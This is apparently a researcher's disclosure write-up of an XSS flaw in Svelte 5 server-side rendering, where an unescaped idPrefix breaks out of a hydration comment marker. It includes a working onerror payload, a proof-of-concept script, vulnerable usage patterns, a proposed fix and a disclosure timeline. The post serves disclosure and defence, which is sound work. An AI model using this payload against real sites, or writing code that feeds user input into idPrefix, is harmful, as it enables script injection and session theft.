Finding a Svelte SSR XSS via Unsanitized idPrefix in HTML Comment Markers

Mar 23, 2026 min read

Background

I’ve been working through Vercel’s bug bounty program, which explicitly calls out server-side rendering and compiler security as focus areas. Svelte is a Tier 1 target in that program, and since Svelte 5 introduced a significant rework of how components are compiled and rendered server-side, it seemed like fertile ground for a security review.

Rather than reading through the entire codebase manually, I used Claude Code with Bitwarden’s AI Security Plugins loaded. The plugins give Claude a structured security review workflow, identifying attack surfaces, tracing data flows from sources to sinks, and mapping findings to CWE identifiers, which makes the process significantly more systematic than ad-hoc manual review.


How the Review Started

I pointed Claude at the Svelte monorepo and asked it to map out the SSR attack surface. The plugin’s workflow starts with identifying entry points, so the first pass looked at:

  • How the public render() API processes its options
  • How the compiler transforms $props.id() rune usage into SSR output
  • Where HTML is emitted as raw strings vs. where escape_html() is called

Within the first pass, Claude flagged an interesting asymmetry: the idPrefix option passed to render() was being used in two different code paths, one that applied HTML escaping, and one that did not.


The Vulnerability

What $props.id() Is

Svelte 5 introduced a rune called $props.id() that generates a stable, unique ID for each component instance. Its primary use is for ARIA accessibility patterns, linking a <label> to an <input> by sharing an ID:

<script>
  let id = $props.id();
</script>

<label for={id}>Search</label>
<input {id} type="search" />

This is common in accessible form components, modals, tooltips, comboboxes, and component libraries that target WCAG compliance (shadcn-svelte, bits-ui, melt-ui, etc.).

What idPrefix Is

When rendering components server-side, you can namespace the generated IDs to avoid collisions across concurrent renders:

import { render } from 'svelte/server';

const { body } = render(MyComponent, {
  idPrefix: 'req-a1b2c3'  // scopes all IDs to this prefix
});

This generates IDs like req-a1b2c3-s1, req-a1b2c3-s2, and so on.

How Svelte Uses idPrefix Internally

For hydration to work, where the server-rendered HTML is taken over by client-side JavaScript, Svelte embeds the generated ID into an HTML comment marker so the browser runtime can recover it:

// packages/svelte/src/internal/server/index.js:457-460
export function props_id(renderer) {
    const uid = renderer.global.uid();    // uid = `${idPrefix}-s1`
    renderer.push('<!--$' + uid + '-->'); // written directly into SSR output
    return uid;
}

The uid is constructed from idPrefix with no sanitization applied:

// packages/svelte/src/internal/server/renderer.js:764
const id_prefix = options.idPrefix ? options.idPrefix + '-' : '';

// packages/svelte/src/internal/server/renderer.js:905
this.uid = () => `${id_prefix}s${uid++}`;

The False Sense of Safety

When the id value is used in HTML attributes, Svelte correctly wraps it in escape():

// Compiler output for <label for={id}> and <input {id}>
$$renderer.push(
  `<label for="${escape(id)}">Search</label>` +
  `<input id="${escape(id)}" type="search"/>`
);

But the hydration comment marker, written before the template, uses plain string concatenation:

renderer.push('<!--$' + uid + '-->');  // no escape(), uid contains idPrefix verbatim

Same value. Two code paths. Only one sanitized.

The Injection

If idPrefix contains -->, it closes the HTML comment immediately and anything after it is emitted as raw HTML into the page body.

Given the payload:

-->injected<img src=x onerror=alert(document.domain)><!--

The string operations produce:

StepCodeResult
1idPrefix + '-' (renderer.js:764)-->injected<img…><!---
2`${id_prefix}s${n++}` (renderer.js:905)-->injected<img…><!---s1
3'<!--$' + uid + '-->' (index.js:459)<!--$-->injected<img src=x onerror=alert(document.domain)><!---s1-->

The browser parses that final string as:

FragmentParsed as
<!--$-->Comment node, closed immediately by --> in the payload
injectedText node
<img src=x onerror=alert(document.domain)>IMG element, JavaScript executes
<!---s1-->Comment node, absorbs the remainder

Proof of Concept

CLI Confirmation

import { render } from 'svelte/server';
import { props_id, escape } from 'svelte/internal/server';

// Equivalent to a Svelte 5 component using $props.id()
function SearchInput($$renderer, $$props) {
  const id = props_id($$renderer);
  $$renderer.push(
    `<label for="${escape(id)}">Search</label>` +
    `<input id="${escape(id)}" type="search"/>`
  );
}

const payload = '-->injected<img src=x onerror=alert(document.domain)><!--';
const { body } = render(SearchInput, { idPrefix: payload });

console.log(body);
// <!--[--><!--$-->injected<img src=x onerror=alert(document.domain)><!---s1-->...<!--]-->

Browser PoC

A minimal HTTP server that reads idPrefix from the ?ns= query parameter and serves the rendered output as a full HTML page:

Browser PoC showing alert(document.domain) firing when the XSS payload is passed as the ?ns= query parameter

alert(document.domain) firing in the browser when the payload is passed as ?ns=

The benign URL /?ns=safe-prefix renders normally. The payload URL fires alert(document.domain) immediately on page load, demonstrating full origin-level JavaScript execution.


Scope and Impact

Who Is Affected

The vulnerable pattern requires two conditions to be true simultaneously:

  1. The component uses $props.id(), common in any accessible component (form inputs, modals, tooltips, comboboxes, tabs). Widespread in component libraries.

  2. idPrefix is derived from user-controlled input, not the default in SvelteKit, which generates a random per-request prefix. However, applications may derive it from URL parameters, request headers, or route slugs for deterministic IDs, namespacing, or debugging.

// Vulnerable patterns
render(App, { idPrefix: new URL(req.url).searchParams.get('ns') });
render(App, { idPrefix: req.headers.get('x-render-prefix') });
render(App, { idPrefix: params.slug });

SvelteKit Is Not Directly Affected

I checked SvelteKit’s server runtime (packages/kit/src/runtime/server/page/render.js) and confirmed it does not pass idPrefix to render() at all, only context and csp are passed. SvelteKit applications are therefore not affected by default.

The defect is in Svelte’s framework code. Exploitation requires a developer to wire user input to the idPrefix option directly.


The Fix

The correct fix is to validate idPrefix at the point of use in renderer.js, before id_prefix is constructed. Since the value ends up inside an HTML comment, only characters that are safe in that context should be permitted:

// packages/svelte/src/internal/server/renderer.js (~line 764)
if (options.idPrefix != null) {
    if (!/^[a-zA-Z0-9_-]+$/.test(options.idPrefix)) {
        throw new Error(
            `Svelte: idPrefix must only contain alphanumeric characters, hyphens, ` +
            `and underscores. Received: ${JSON.stringify(options.idPrefix)}`
        );
    }
}
const id_prefix = options.idPrefix ? options.idPrefix + '-' : '';

Throwing a descriptive error is preferable to silent sanitization, consistent with how Svelte already handles invalid option combinations (e.g., the invalid_csp error thrown when csp.nonce and csp.hash are both set), and it surfaces developer mistakes at render time rather than allowing injectable HTML to silently reach users.


CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
MetricValueRationale
AVNAttacker sends a crafted HTTP request
ACLOnce prerequisites are met, attack is trivial, with no timing, race conditions, or reconnaissance required
ATPNon-default deployment prerequisite: app must pass user-controlled data as idPrefix to render()
PRNNo authentication required
UIPVictim must load the affected page; onerror fires automatically, no deliberate action needed
VC/VI/VAN/N/NXSS executes in the browser; server confidentiality, integrity, and availability are unaffected
SCLCookie/token theft and page content reading possible; conservative given unknown application context
SILPage content modification and authenticated requests on behalf of victim
SANN/A

Score: 2.3 (Low), the mechanical score reflects the non-default prerequisite (AT:P). The practical impact in applications that handle authenticated sessions is higher than the number suggests; full session theft and arbitrary authenticated action execution are achievable outcomes once the prerequisite is met.


Disclosure Timeline

DateEvent
2026-02-27Vulnerability discovered during source code review
2026-02-27Report submitted to Vercel via HackerOne
2026-03-10Vendor response asking for real-world usage and vulnerability
2026-03-10Reply submitted to vendor, identifying vulnerable libraries in production
2026-03-23Vendor closed issue as Informative, due to no real-world impact
2026-03-23Public disclosure

Takeaways

For developers using Svelte’s render() directly: treat idPrefix like any other value that ends up in HTML, and don’t derive it from user input without strict validation. Until a patched version is available, validate that idPrefix contains only alphanumeric characters, hyphens, and underscores before passing it to render().

For the tooling: the Bitwarden security plugin’s structured workflow, particularly the “trace data flows from sources to sinks” step, is what surfaced this. The asymmetry between the escaped attribute path and the unescaped comment path isn’t obvious from reading the code in isolation; it only becomes visible when you’re explicitly asking “where does this value land, and is it escaped there?”